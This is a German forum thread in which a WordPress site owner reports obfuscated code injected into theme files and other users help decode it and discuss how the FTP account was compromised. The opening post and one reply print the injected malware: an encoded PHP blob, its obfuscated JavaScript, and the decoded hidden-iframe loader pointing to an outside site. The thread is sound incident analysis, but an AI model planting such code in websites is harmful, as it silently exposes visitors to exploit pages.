PHP Ominöser Code in Wordpress .php Dateien

ferfu

Cadet 3rd Year
Registriert
Jan. 2006
Beiträge
37
Hallo!

Ich habe seit wenigen Tagen Webspace, auf dem ich nun Wordpress für meine Seite installiert habe.

Nach kurzer Zeit wurde ich von einigen Usern mit Kaspersky darauf aufmerksam gemacht, dass sie meine Seite nicht besuchen können, weil der Zugriff verboten wurde, weil eine Bedrohung gefunden wurde. Dabei wurde auf "Exploit.JS.Agent.bil" hingewiesen. Leider hat mir Google darüber nicht sonderlich viel ausgespuckt.

Nach langem rumgeteste, wo das herkommen könnte bin ich in mehreren .php files in dem Ordner, in dem Wordpress mein Theme "monochrome" hat, auf einen mir unbekannten Code gestoßen. Dieser war unter anderem in der footer.php, der header.php und index.php. Ich habe mir dann die Mühe gemacht, den Code aus jeder einzelnen Datei von Hand zu löschen und nun funktioniert meine Seite wieder ohne Fehlermeldung.

Der Code sah wie folgt aus (ich hoffe, das ist nicht schon problematisch wenn ich den hier poste, aber dürfte ja eigentlich nicht):
#7819f9#
echo(gzinflate(base64_decode("1VdNj5swEP0rKy6AaFIbsAE57qU9t4dWvUQ5oOBskDYQAbtt/33xGLAhZPOxVaU9ZITtmfGb8cxzvKq3VX5sPn1vqrx4XB6rsimbP0exbETdcGtvsV1ZOflDXti2m++cnHNbLtnugdv2Ot+wl7R6qGtuWSxNeVZunw+iaJbbSqSN+CF+N1/LTDgHz0otz6o+t6IdWy6rudpybe0qOXlol9J0bRdlZnu2+Jm28ulZ2JsNy3ghfj18af05Lst8PcqWL2mr823nuAvfZXue+YuMFXwdLfYf5A+jACRqZQAibkUSw2QiP0ELE5iQ30kCn6CBw1aGIUzgYQ1mqfJOtcWsMcZyf6o+5WLsSzUyuIyoHg8eAGQAQ6qRxoMTWArAnRQh+MD9HPZxF/1cFjD2Z3ZUs2pfOSYjcz/o09cFSIfQFF40u+0dacbRAKYDDYtGVuQSia8KSsHCgVaQS2TIIEa+cVBKShMiwwtJL5RbhV1pQUhhoJOgvYEyBA4QICpjSMaJO4mRIF1xBjiISZ060mkC48QoNjDR8YVRXxyGqUJpbA5laO52wQEOjHQl4y4wcoupEV+g4RrTiE5SoPwRqgHpEHUSVdWQaDgvdR7mLn0+Ar2qjIZuS6hhYhY1mRzISZ8jnSjap6cDExpg0KkCJIaivoBVMVysYjCAsj/XmbrNkdFlsW67+WR09XArNczQC9YkppTRmHTJ0I23U0KiGQEUkskBXUnEmlKv4I1olGylGoaT1lXXQHDCIP6k1qcVZSCZUpNqOv9d89P5tJ3hjE7jfrqY8vl5zgCte8DdyDIDopuo5l50Z8hJszh9S+gnnHa133/XJq/cdpOWmd5Y/6GJL1+o12J843+n9/EXVTEO0W2F0RgVOKFk0s9dHHG/dXe7zN+IG/Vm4Yjlq2L5JIrHZs9yz3Pr2uO1U7SvFpeJ9ung1LXLVh+7J9Bf")));
#/7819f9#

Meine hauptsächliche Sorge liegt nun bei der Frage:
Wie kam der Code in die ganzen Files rein? Ich hab Wordpress erst vor ein paar Tagen neu installiert mit einem frischen Download von der Wordpress Seite.

Außerdem stellt sich mir die Frage kann das nochmal wieder kommen und generell, ist dieser Code gefährlich? Ich hab halt leider gar keine Ahnung wo das überhaupt hergekommen sein kann und was er überhaupt gemacht hat. Auch Kaspersky hat lediglich einen Fund auf der Seite gemeldet, nicht aber wo genau und was das Ding macht.

Jemand Ideen oder Anregungen was wohl das sinnvollste in diesem Fall wäre?

Bin leicht ratlos und hoffe auf eure Hilfe.
 
Mach doch mal nen base64 decode und so ein gzinflate, was auch immer das ist, dann siehst du was für text da drinne steht. Solche methoden werdfen oft für malware verwendet, um sie vor software zu tarnen. Der link könnte z.B. mehrere links zu irgendwelchen webseiten beinhalten, die anschließend malware oder gar viren nachladen.

Die meldung von deinem virenscanner deutet auf viren hin oder vlt. doch nur auf irgendeinen exploit der nachgeladen wird.

Nachtrag:
Hier (http://www.tareeinternet.com/scripts/base.html) kann man text base64 en- und decoden - fehlt nur noch das gzinflate. Schreib dir schnell ne file dir genau diesen befehl ausführt und schau dir dann den inhalt davon an.

Wie das in die dateien kommt ist eine gute frage. Liegt das physikalisch in den .php dateien oder wird das nur beim aufrufen im browser so angezeigt? Solcher schadcode wird oft live in die seite injected. Das kann vom SQL server kommen oder von irgeneinem cross site script (eine seite, die in einem frame offen ist und den code einschiebt).
 
Zuletzt bearbeitet:
Leider kenn ich mich mit sowas null aus. Wie kann ich das denn machen? gzinflate und base64 sagen mir leider gar nichts. Bin auch eigentlich mehr so von der selbst-beigebracht fraktion, deshalb war ich eigentlich froh dass wordpress das meiste für mich selbst macht.

Wenn du mit physikalisch in den .php Dateien meinst, dass der Code zu finden ist, wenn ich auf dem FTP die verschiedenen Dateien durchklicke dann ja. Ich habe extra mal selbst Kaspersky installiert um die Fehlermeldung zu sehen. Vorher mit Antivir gab es gar keine Meldungen und die Seite war auch problemlos aufrufbar. Mit Kaspersky komm ich gar nicht rauf - bzw kam ich nicht rauf, bevor ich in jeder php Datei geschaut hab ob da was vom Code übrig ist.

Ist es eventuell sogar möglich dass ich bei den Berechtigungen auf dem FTP Fehler gemacht habe und somit überhaupt erst der Zugriff möglich wird?
 
wenn dein hoster support anbietet, könntest du da mal fragen.
so ohne da drüberzuschauen kann man nicht genau sagen, woher das kommt.
ggf hast du nen keylogger aufm system wo der ftpclient läuft, oder es gibt schwachstellen in deinen wordpress
 
Stimmt, das wäre auch meine nächste Adresse gewesen - hab die Mal kontaktiert, vielleicht haben die ja auch ne Möglichkeit den Webspace zu überprüfen.

Ein Scan meines Systems mit Kaspersky und Malwarebytes hat derweil kein Ergebnis gebracht.
 
Boah hab ich jetzt gebraucht. Kenne mich mit php auch nicht so aus und nen webserver hab ich bei mir eigentlich auch nicht laufen ;).

Es steht folgendes drinne:

Code:
<script>String.prototype.test="h";
for(i in'')
if(i=='test')
m=''[i];
var ss="";
aa=document.createTextNode(m+"a"+"rC"+"ode");
s=String["fr"+"omC"+aa['nod'+'eVa'+'lue']];
d=new Date();
d2=new Date(d.valueOf()-2);
h=d2-d;n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,101-h,99-h,114-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,113-h,64-h,119-h,82-h,95-h,101-h,76-h,95-h,107-h,99-h,38-h,37-h,96-h,109-h,98-h,119-h,37-h,39-h,89-h,46-h,91-h,39-h,121-h,7-h,7-h,7-h,103-h,100-h,112-h,95-h,107-h,99-h,112-h,38-h,39-h,57-h,7-h,7-h,123-h,30-h,99-h,106-h,113-h,99-h,30-h,121-h,7-h,7-h,7-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,117-h,112-h,103-h,114-h,99-h,38-h,32-h,58-h,103-h,100-h,112-h,95-h,107-h,99-h,30-h,113-h,112-h,97-h,59-h,37-h,102-h,114-h,114-h,110-h,56-h,45-h,45-h,95-h,115-h,114-h,109-h,43-h,113-h,97-h,102-h,95-h,98-h,99-h,44-h,98-h,99-h,45-h,113-h,99-h,103-h,114-h,99-h,50-h,44-h,102-h,114-h,107-h,37-h,30-h,117-h,103-h,98-h,114-h,102-h,59-h,37-h,47-h,46-h,37-h,30-h,102-h,99-h,103-h,101-h,102-h,114-h,59-h,37-h,47-h,46-h,37-h,30-h,113-h,114-h,119-h,106-h,99-h,59-h,37-h,116-h,103-h,113-h,103-h,96-h,103-h,106-h,103-h,114-h,119-h,56-h,102-h,103-h,98-h,98-h,99-h,108-h,57-h,110-h,109-h,113-h,103-h,114-h,103-h,109-h,108-h,56-h,95-h,96-h,113-h,109-h,106-h,115-h,114-h,99-h,57-h,106-h,99-h,100-h,114-h,56-h,46-h,57-h,114-h,109-h,110-h,56-h,46-h,57-h,37-h,60-h,58-h,45-h,103-h,100-h,112-h,95-h,107-h,99-h,60-h,32-h,39-h,57-h,7-h,7-h,123-h,7-h,7-h,100-h,115-h,108-h,97-h,114-h,103-h,109-h,108-h,30-h,103-h,100-h,112-h,95-h,107-h,99-h,112-h,38-h,39-h,121-h,7-h,7-h,7-h,116-h,95-h,112-h,30-h,100-h,30-h,59-h,30-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,97-h,112-h,99-h,95-h,114-h,99-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,38-h,37-h,103-h,100-h,112-h,95-h,107-h,99-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,113-h,112-h,97-h,37-h,42-h,37-h,102-h,114-h,114-h,110-h,56-h,45-h,45-h,95-h,115-h,114-h,109-h,43-h,113-h,97-h,102-h,95-h,98-h,99-h,44-h,98-h,99-h,45-h,113-h,99-h,103-h,114-h,99-h,50-h,44-h,102-h,114-h,107-h,37-h,39-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,116-h,103-h,113-h,103-h,96-h,103-h,106-h,103-h,114-h,119-h,59-h,37-h,102-h,103-h,98-h,98-h,99-h,108-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,110-h,109-h,113-h,103-h,114-h,103-h,109-h,108-h,59-h,37-h,95-h,96-h,113-h,109-h,106-h,115-h,114-h,99-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,106-h,99-h,100-h,114-h,59-h,37-h,46-h,37-h,57-h,100-h,44-h,113-h,114-h,119-h,106-h,99-h,44-h,114-h,109-h,110-h,59-h,37-h,46-h,37-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,117-h,103-h,98-h,114-h,102-h,37-h,42-h,37-h,47-h,46-h,37-h,39-h,57-h,100-h,44-h,113-h,99-h,114-h,63-h,114-h,114-h,112-h,103-h,96-h,115-h,114-h,99-h,38-h,37-h,102-h,99-h,103-h,101-h,102-h,114-h,37-h,42-h,37-h,47-h,46-h,37-h,39-h,57-h,7-h,7-h,7-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,114-h,44-h,101-h,99-h,114-h,67-h,106-h,99-h,107-h,99-h,108-h,114-h,113-h,64-h,119-h,82-h,95-h,101-h,76-h,95-h,107-h,99-h,38-h,37-h,96-h,109-h,98-h,119-h,37-h,39-h,89-h,46-h,91-h,44-h,95-h,110-h,110-h,99-h,108-h,98-h,65-h,102-h,103-h,106-h,98-h,38-h,100-h,39-h,57-h,7-h,7-h,123-h];
for(i=0;i<n.length;i++)ss+=s(n[i]);eval(ss);</script>

Der code ist leider obfuscated d.h. es sagt uns nicht viel. Am anfang kann man rauslesen das sie irgendwas in in eine html node reinschreiben, vermutlich eine html adresse, die dann via javascript ausgeführt wird.

Ich ändere am schluss das "eval(ss)" zu "alert(ss)" damit der wert von ss nicht in die webseite geschreiben wird, sondern mir in einem fenster ausgegeben. Ich poste den code also in eine reguläre html seite und erhalte folgendes:

Code:
if (document.getElementsByTagName('body')[0])
{ iframer();} 
else {document.write("<iframe src='http://auto-schade.de/seite4.htm' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");}
function iframer(){var f = document.createElement('iframe');f.setAttribute('src','http://auto-schade.de/seite4.htm');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');			document.getElementsByTagName('body')[0].appendChild(f);}

Da greift also jemand auf die webseite auto-schade.de/seite4.htm zu, versteckt den inhalt und versucht so mit sicherheit schadcode nachzuladen.

Wenn du das in deinen php dateien drinne stehen hast, hat jemand zugriff auf den ftp bzw. zugriff auf die maschine wo der ftp server läuft. Ändere sämtliche passwörter diesbezüglich und kontrolliere ob sich da was ändert.

Nachtrag:
Ich habe den technischen kontakt der domain angeschrieben, dass deren Server kompromittiert ist und Schadcode verteilt. Mit ein bisschen glück ist das bzgl. deren seite bald unter kontrolle. Das dein system ebenfalls kompromittiert ist, ist ein weiteres problem. Wo wird denn deine seite gehostet?
 
Zuletzt bearbeitet:
Wow, Wahnsinn was du dir für ne Mühe machst - danke dafür.

Ich hoste bei All-inkl. und hab deren Support nun auch angeschrieben. Passwörter hab ich jetzt mal alle geändert und angepasst.

Kann man denn irgendwie rausfinden, wo sich der Übeltäter bei mir versteckt? Wie gesagt, ich habe eigentlich so ziemlich jedes .php File gecheckt nach dem Code und nun auch keins mehr gefunden. Kann es damit auch schon getan sein?

Na gut, irgendwoher muss der scheiß ja auch kommen, daher kanns natürlich schon sein, dass noch irgendwo was hängt.
 
Zuletzt bearbeitet:
Ok, du hostest bei All-Inkl. Aber du hast Wordpress ja selber auf dem space installiert?

Grundlegend sehe ich folgende möglichkeiten:
- Der Server (OS, SQL, ...) wo u.a. deine Webseite läuft ist kompromittiert. In diesem fall trifft es mehrere (viele) kunden. Eher nicht wahrscheinlich.
- Die von dir verwendeten kennwörter waren schwach bzw. user ohne kennwörter bzw. dir hat jemand die kennwörter z.B. mithilfe eines trojaners "gestohlen".
- Das von dir verwendete Wordpress ist unsicher (z.B. bug, schlecht programmiert (z.B. sql injection möglich), ...) oder du hast es nicht richtig installiert (z.B. zu viele rechte (chmod) auf gewissen directories, ...)

Für kennwörter verwende z.B. das tool von http://www.gaijin.at/olspwgen.php (bitte die einstellung server-passwörter 2 verwenden bzw. manuell konfigurieren mit mindestens 16 zeichen, großbuchstaben, kleinbuchstaben, zahlen und sonderzeichen). Dort kann man sich für Windows auch direkt einen passwortgenerator laden, die webseite tut es jedoch auch. Eine gute idee wäre z.B. software wie KeePassX zu verwenden. Dort kann man nicht nur sichere passwörter generieren lassen, sondern diese auch verschlüsselt abspeichern. Der zugriff erfolgt dann via masterkennwort, welches dann natürlich entsprechend sicher sein sollte und nicht irgendwo aufgeschrieben sein darf/sollte.
 
Ich habe zusammen mit All Ink jetzt heraus gefunden, dass am Samstag Abend besagte Dateien in einem Zeitraum von 30 Sekunden herunter geladen upgedated und mit dem Code infiziert wieder hochgeladen wurden. Das stammte von einem holländischen Anschluss, der wohl meinen Hauptaccount genutzt hat.

Wie das passieren konnte ist und bleibt mir ein Rätsel, da sämtliche Virenscans auf meinem PCs nichts erbracht haben. Immerhin konnte ich durch die Logfiles alle beschädigten Dateien anpassen.

Nun zu deinen Fragen: Wordpress habe ich selbst installiert, richtig. Habe dafür die deutsche Version von wordpress-deutschland.org genutzt.
Ich gehe derzeit stark von der zweiten Möglichkeit aus. Alles andere kann ich relativ gut ausschließen. Lediglich bei den chmod Permissions sehe ich eventuell noch eine Lücke. Diese stehen standardmäßig auf 755. Einzig in meinem uploads ordner musste ich auf 666 gehen um meine Mediathek funktionstüchtig zu machen.
Meine Kennwörter waren zwar nicht so stark, wie die die ich durch das von dir angegebene Tool bekomme, aber All inkl bietet in ihrem Webinterface einen Passwortgenerator an, mit dem ich die passwörter erstellt habe. Ich werde aber wohl die höchste Sicherheitsstufe wählen und Passwörter mit deinem Tool erstellen.

Ich hoffe einfach mal, dass die Sache damit ausgestanden ist. Im Normalfall dürfte kein Schadcode mehr in den Dateien sein.
 
Wow echt erstaunlich wie schnell das manchmal geht^^

Aber innerhalb von 30 Sekunden eine Datei runterzuladen, zu infizieren und dann wieder hochzuladen finde ich "händisch" recht schnell.
Wäre interessant ob der vom Support sehen würde, wenn jemand versucht hat dein Passwort per BruteForce zu knacken. Denn wenn das so war, hatte er eben Glück und ein ändern des Passwortes reicht auf jeden Fall.
Wenn nicht hat er dein Kennwort irgendwie anders bekommen.

Hast du das Kennwort noch für andere Dinge?
Wie umfangreich war es denn? Anzahl der Zeichen? auch Zahlen? Sonderzeichen?

Evtl. kann dir der Support auch mitteilen ob zu dieser Zeit noch Anderes auf deinem FTP-Server passiert ist. Womöglich wurden weitere Dateien in Mitleidenschaft gezogen.
 
ich hab mir die genannte seite mal angeschaut, und da steckt seinerseits wieder ein iframe drin: h**p://germ*nycon.inf*/in.cgi?3

tt a o


vielleicht kann ja wer was mit anfangen.
 
Zuletzt bearbeitet: (verpeilung)
Naja, habe mich bei all_ink gestern angemeldet und heute wieder gekündigt. Sorry aber die php.ini Einstellungspolitik die die da fahren, und dann einen auch nicht lassen das zu deaktivieren, ne du, muss nicht sein. Ich wette du bist nicht die einzige Virenschleuder bei all_inkl. Aber heisst ja nicht umsonst All_Inkl. das ist es wirklich.
 
@ Nose
Meinst du damit die webseite auf auto-schade.de?

@ te one
Es muss gar nicht an den psw gelegen habe. Vlt. hat sich jemand zugriff über einen der dienste verschafft wie z.B. mithilfe von SQL Injection.
 
Belee schrieb:
Sorry aber die php.ini Einstellungspolitik die die da fahren, und dann einen auch nicht lassen das zu deaktivieren, ne du, muss nicht sein.

Könntest du das etwas genauer beschreiben mit der Einstellungspolitik? Bisher gab es da kaum klagen.
 
ich würde mal grob schätzen:
kurze script ausführungszeit, safe_mode, register globals und maximaler speicher :P
 
andy_0 schrieb:
@ Nose
Meinst du damit die webseite auf auto-schade.de?
genau, auf der seite4.html ist einmal n ganz normaler counter eingebaut, und dann eben noch dieses cgi script als iframe. der schadcode denk ich sitzt dann eben letzten endes in dem genannten script.
 
Es sieht wohl letztenendes so aus als ob doch ein Trojaner auf meinem Rechner Schuld war. Hab derzeit alles so weit wie möglich gefixed bekommen. Werde aber wohl vorsichtshalber mal in den nächsten Tagen formatieren und dann auch auf dem Server alles neu installieren. Sicher ist sicher.

@te one: Nein, das Passwort hab ich mit dem Tool im Webinterface von All-inkl generiert (Groß/Kleinbuchstaben, Zahlen - Sonderzeichen werden leider nicht unterstützt).
Ich konnte über den Support meine Log-Daten ansehen und es sieht wohl nur so aus, als seien eben mehrere php Dateien infiziert worden. Der Trojaner/Script/Wasauchimmer hat sich aus allen Ordnern die index, footer und header.php geholt und den Code eingefügt.

Ich hoffe jetzt Ruhe zu haben.

Ihr habt mir sehr geholfen, danke.

@Belee: Inwiefern findest du All-inkl schlecht? Hab leider keine Ahnung von dem was du da schreibst :D
 
Trojaner fixen? Vergiss es. Lies mal, was Microsoft zu solchen Maßnahmen sagt:
http://technet.microsoft.com/en-us/library/cc512587.aspx

The only way to clean a compromised system is to flatten and rebuild. That’s right. If you have a system that has been completely compromised, the only thing you can do is to flatten the system (reformat the system disk) and rebuild it from scratch (reinstall Windows and your applications).

Nicht in den nächsten Tagen irgendwann. Sofort! In der Zwischenzeit verbreitet sich die Malware munter weiter.
Wer weiß wie viel Spam und Kinderpornos und wasnochalles du bis zur Neuformatierung noch verbreitest.

€: Und auf dem Server die Sachen neu installieren reicht nicht. Das ganze Betriebssystem muss runter und neu
aufgesetzt werden. Ich weiß jetzt nicht, ob du das überhaupt kannst, deshalb würde ich in dem Fall den Provider
informieren.
 
Zuletzt bearbeitet:
Die heiligen Prediger :)

Naja in dem Fall würde ich wohl ebenfalls formatieren und neu aufsetzen.

Wo wir auch grad beim Thema sind. Ich bin auf der Suche nach einem Tool, welches es ermöglicht ein Image von einer frischen Installation zu machen, so dass man zum Neuaufsetzen nicht jedes mal CD rein, Formatieren, Installieren, usw.... machen muss. Gibt es da ne elegante Lösung? Ich hasse es das Windows-Setupfenster starten zu müssen :\
 
Ja das geht. Zieh ein Image von der Systempartition nach der Installation und spiel es dann wenn es nötig ist wieder auf.
Aber möglichst nicht auf dem System das du platt machen willst, wenn da Schadsoftware drauf ist, sondern auf einem sauberen Rechner.
 
Zurück
Oben